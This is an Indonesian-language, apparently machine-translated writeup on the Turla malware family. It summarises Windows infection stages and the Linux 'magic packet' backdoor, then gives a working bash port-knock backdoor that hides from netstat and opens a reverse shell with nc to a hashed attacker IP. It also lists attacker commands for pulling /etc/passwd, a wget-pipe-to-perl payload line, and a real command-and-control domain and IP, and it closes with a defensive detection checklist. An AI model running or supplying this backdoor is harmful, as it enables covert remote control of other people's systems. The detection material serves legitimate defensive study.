TURLA adalah tahap akhir dari keluarga malware yang besar dan canggih. Sudah ada versi Windows yang dikenal setidaknya sejak 2010. Presentasi 40 halaman ini adalah sumber daya terlengkap yang pernah saya lihat, untuk kedua platform.
TURLA - pengembangan &operasi
Beberapa Sorotan Windows
- Tahap 0:tahap serangan - vektor infeksi
- Tahap 1:tahap pengintaian - pintu belakang awal
- Tahap 2:gerakan menyamping
- Tahap 3:akses tahap yang telah dibuat -TURLA diterapkan
- Pada setiap tahap, mereka dapat berhenti jika kehilangan minat pada target
Tahap 0:Vektor Injeksi
-
Spear Phishing (CVE-2013-3346)(CVE-2013-5065)
-
Watering Holes [Adobe Update Social Engineering / Eksploitasi Java (CVE-2012-1723), Eksploitasi Adobe Flash atau Eksploitasi Internet Explorer 6,7,8]
-
Kompromi pemasok pihak ketiga
Tahap 1:Tahap Pengintaian
-
Pintu belakang awal - WipBot/Epic/TavDig
-
WipBot adalah kombinasi dari eksploitasi zero-day dan CVE-2013-3346
-
Fungsi ekspor dengan nama yang sama dengan TURLA. Tidak ada kesamaan lainnya
-
Menghancurkan proses debug dan sebagian besar kotak pasir malware
-
Proses melompat beberapa kali, menghapus bagian PE-nya sendiri
-
Dijelaskan lebih lanjut dalam laporan Kaspersky Lab
Tahap 2:Pergerakan Lateral
-
Perbaiki K&K
-
Lebih jauh menembus jaringan
-
Manfaatkan pintu belakang baru
-
Mendapatkan kredensial Admin Domain
Tahap 3:Turla
-
Dijatuhkan pada mesin tertentu untuk kompromi jangka panjang
-
Mesin dapat disusupi selama bertahun-tahun tanpa terdeteksi
Sumber Daya Lainnya
-
'Penguin Turla' - Lab Kaspersky (detail spesifik linux)
-
Laporan Symantec - Turla
Sorotan Linux
-
Modul Turla ditulis dalam C/C++
-
Berdasarkan cd00r
-
Executable ditautkan secara statis ke beberapa pustaka
-
Fungsionalitasnya mencakup komunikasi jaringan tersembunyi, eksekusi perintah jarak jauh sewenang-wenang, dan manajemen jarak jauh
-
Sebagian besar kodenya didasarkan pada sumber publik
-
Tidak bisa dideteksi dengan netstat
-
Apakah tidak memerlukan akses root
Karakteristik Linux yang Dapat Dijalankan
- ELF 32-bit LSB dapat dieksekusi, Intel 80386, versi 1 (SYSV), ditautkan secara statis, untuk GNU/Linux 2.2.5, dilucuti
Perpustakaan Tertaut Secara Statis Linux
-
glibc2.3.2 - pustaka GNU C
-
openssl v0.9.6 - pustaka OpenSSL yang lebih lama
-
libpcap - pustaka tangkapan jaringan tcpdump
Detail K&C Linux
-
K&C tahap pertama di-hardcode. Aktivitas yang diketahui @ news-bbc.podzone[.]org
-
IP pDNS:80.248.65.183
Rincian Startup/Eksekusi Linux
-
Proses memerlukan dua parameter:ID (nilai numerik yang digunakan sebagai bagian dari "paket ajaib untuk autentikasi") dan nama antarmuka jaringan yang sudah ada
-
Parameter dapat dimasukkan dengan dua cara berbeda:dari STDIN, atau dari dropper a launching the sample
-
Setelah ID dan nama antarmuka dimasukkan dan proses diluncurkan, PID proses backdoor dikembalikan
Paket Ajaib Linux
-
Tautkan perpustakaan PCAP secara statis
-
Mendapat soket mentah, menerapkan filter, menangkap paket
-
Memeriksa nomor ACK di header TCP, atau byte kedua dari badan paket UDP
-
Jika kondisi terpenuhi, eksekusi melompat ke konten payload paket dan membuat soket reguler
-
Backdoor menggunakan soket baru untuk terhubung ke alamat sumber Paket Ajaib
-
Backdoor melaporkan PID dan IP-nya sendiri, menunggu untuk menerima perintah
-
Perintah yang tiba dijalankan dengan skrip "/bin/sh -c "
Catatan Akhir
Segala sesuatu tentang versi linux berasal dari laporan Kaspersky. Sayangnya, pendeteksian tampaknya sangat sulit saat ini.
"Meskipun varian Linux dari kerangka kerja Turla diketahui ada, kami belum melihatnya di alam liar." - Lab Kaspersky
Cara kerjanya:
Pengantar singkat
Untuk menemukan cara mendeteksinya, saya bekerja keras dengan konsep dan metode.
Untuk ini, saya segera menulis skrip bash kecil yang bekerja dengan cara yang kira-kira sama.
Dari sana dan dengan beberapa pengetahuan tambahan tentang konsep Un*x, saya memposting daftar periksa saya yang dapat membantu menemukan trojan yang berfungsi ini di sistem apa pun.
Bash menulis ulang Turla knock-door
Untuk memahami cara kerjanya, saya menulis ini:
(Ini harus dijalankan pada host target, dengan eksploitasi jarak jauh, virus, atau lainnya.)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
Ini tidak sepenuhnya tidak terdeteksi tapi...
Fitur
- Benar-benar tidak terdeteksi dengan menggunakan
netstat
, sambil tetap mendengarkan koneksi penyerang. - Gunakan [Masuk->Keluar] sebagai [RANDOM->80] port tcp untuk membuat koneksi terlihat seperti berselancar koneksi.
- Tunggu IP tertentu (di-hash, jadi tidak terbaca) di port lokal 22, tanpa menggunakan promiscuous mode atau membutuhkan root hak istimewa
- Setelah mendeteksi sambungan masuk dari IP tertentu (Knock! ), ini membuka koneksi ke IP ini, pada port 80 agar terlihat seperti koneksi jelajah dan tawarkan pesta , kembali ke koneksi ini.
Catatan: trojan asli dapat menggunakan SSL dan HTTP Header asli untuk bekerja melalui proxy juga!!
Ini menerima 4 argumen:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
adalah hash dari penyerang asin IP-nya. Dapat dirender dengan menggunakanmd5sum <<<SaltMyIP192.168.1.31
(Salt dapat diubah dalam skrip).KnockDoorPort -> bport
adalah port yang sudah diikat, digunakan pada host target (22 sebagai contoh jika target melayani SSH, tetapi port yang dibuka dapat digunakan)myPort -> rport
adalah port penyerang lokal yang digunakan untuk koneksi masuk (80 agar terlihat seperti koneksi http keluar. Tentu saja penyerang harus melakukan root pada host-nya!)-i
flag dapat digunakan untuk menjalankanbash
secara interaktif
Langkah infeksi
-
Langkah pertama adalah menjalankan skrip ini dengan menggunakan eksploit jarak jauh, seperti
shellshock
atau buffer-overflow apa pun . -
Kedua, penyerang harus mengetahui IP target, agar dapat mengirim
knock door
pada porta 22 -
Gunakan dari IP penyerang (sebagai root untuk mendengarkan di tcp port 80), tunggu koneksi masuk target.
-
Anda masuk ke dalam shell tepat sasaran!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Contoh:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
atau
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
Tidak mudah dideteksi
Saat skrip tetap berjalan di host target, dan tidak ada koneksi penyerang yang terbuka, skrip yang berjalan tidak terlihat dengan menggunakan netcat
.
Knock
dilakukan sekali pada port 22 di mana banyak koneksi gagal adalah biasa . Koneksi shell sebenarnya terlihat seperti koneksi http keluar.
Jawaban:
Bagaimana mesin linux bisa terinfeksi
Ini adalah trojan , jadi pertanyaan ini tidak terlalu penting... (lihat Shellshock, sebagai contoh)
Apakah ada eskalasi hak istimewa yang terlibat, atau semuanya hanya terjadi di bawah pengguna yang terinfeksi (yaitu uid 1000)
Tidak, salah satu tujuannya adalah untuk mengizinkan penyerang mencari cara melakukan eskalasi hak istimewa .
Di mana kode malware "hidup" di mesin yang terinfeksi
-
Di mana saja dan di mana saja:Jika Anda menjalankan ini sebagai lampiran, Anda mungkin tahu di mana Anda menyimpannya. Jika dijalankan dari eksploit jarak jauh, mereka dapat menghapus biner setelah dijalankan.
-
Jika Turla adalah biner (C ditulis), thay have untuk disimpan di suatu tempat di sistem Un*x Anda, dengan flag yang dapat dieksekusi diatur agar dapat dijalankan. Sistem file terbaru mengizinkan untuk menghapusnya setelah dijalankan, tetapi inode harus tetap tidak tersentuh!
Ini dapat terungkap dengan mencari binari yang berjalan di sistem Anda tetapi terletak di standarPATH
. -
Jika trojan adalah skrip, hanya biner yang harus ditautkan dalam sistem file, sehingga skrip dapat dihapus atau bahkan dijalankan sebagai
STDIN
dan tidak disimpan sama sekali.
wget -qO - http://attacker.example.com/virus.pl | perl
-
plus detail menarik lainnya
Silakan coba skrip bash saya...
Daftar periksa (ditambahkan:04-02-2015)
-
Telusuri bercabang pids (di mana Induk Pid ==1)
grep PPid:\\s1$ /proc/*/status
-
Cari proses yang tidak menjalankan biner dari
PATH
for pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
-
Telusuri proses yang berjalan lama
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
-
Skrip:Cari proses pembuatan semacam penyembunyian:bandingkan
exe
dancommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
-
Menggunakan
apparmor
, Anda dapat melihat proses mengakses tcp stack (dan/atau tumpukan udp ). -
Menggunakan
tcpdump
, ada pekerjaan yang kuat, tetapi solusi yang efisien:Perhatikan keluar koneksi yang membuat permintaan apapun, menjadi jawaban tidak harus segera setelahnya, tetapi segera kirim permintaan berikutnya setelah menerima jawaban pertama, maka tidak peduli dengan jawaban permintaan terakhir:akan berhenti saat menerima
exit
direktif, mengatakan sesuatu sepertilogout.
, yang dapat diarahkan sebagai permintaan http terakhir dari sesi saat ini , tetapi tutup sebelum menerima tanggapan http apa pun .Nyatanya, Anda harus menemukan koneksi keluar di mana pertukaran data tidak cocok dengan skema reguler koneksi keluar, tetapi skema hibrid server-start - incoming connection - server-stop .
Tentu saja, ini harus terjebak karena tidak ada koneksi yang terbuka secara permanen.
-
Membuat statistik panggilan sistem (menggunakan apparmor)
terima kasih kepada alphanet untuk ide ini
Buat statistik untuk setiap proses yang berjalan dan
Kirimkan ke alat bayesian untuk menghitung profil biasa
Untuk mendapatkan peringatan saat proses baru tidak cocok dengan profil biasa (atau bahkan saat proses yang berjalan berubah).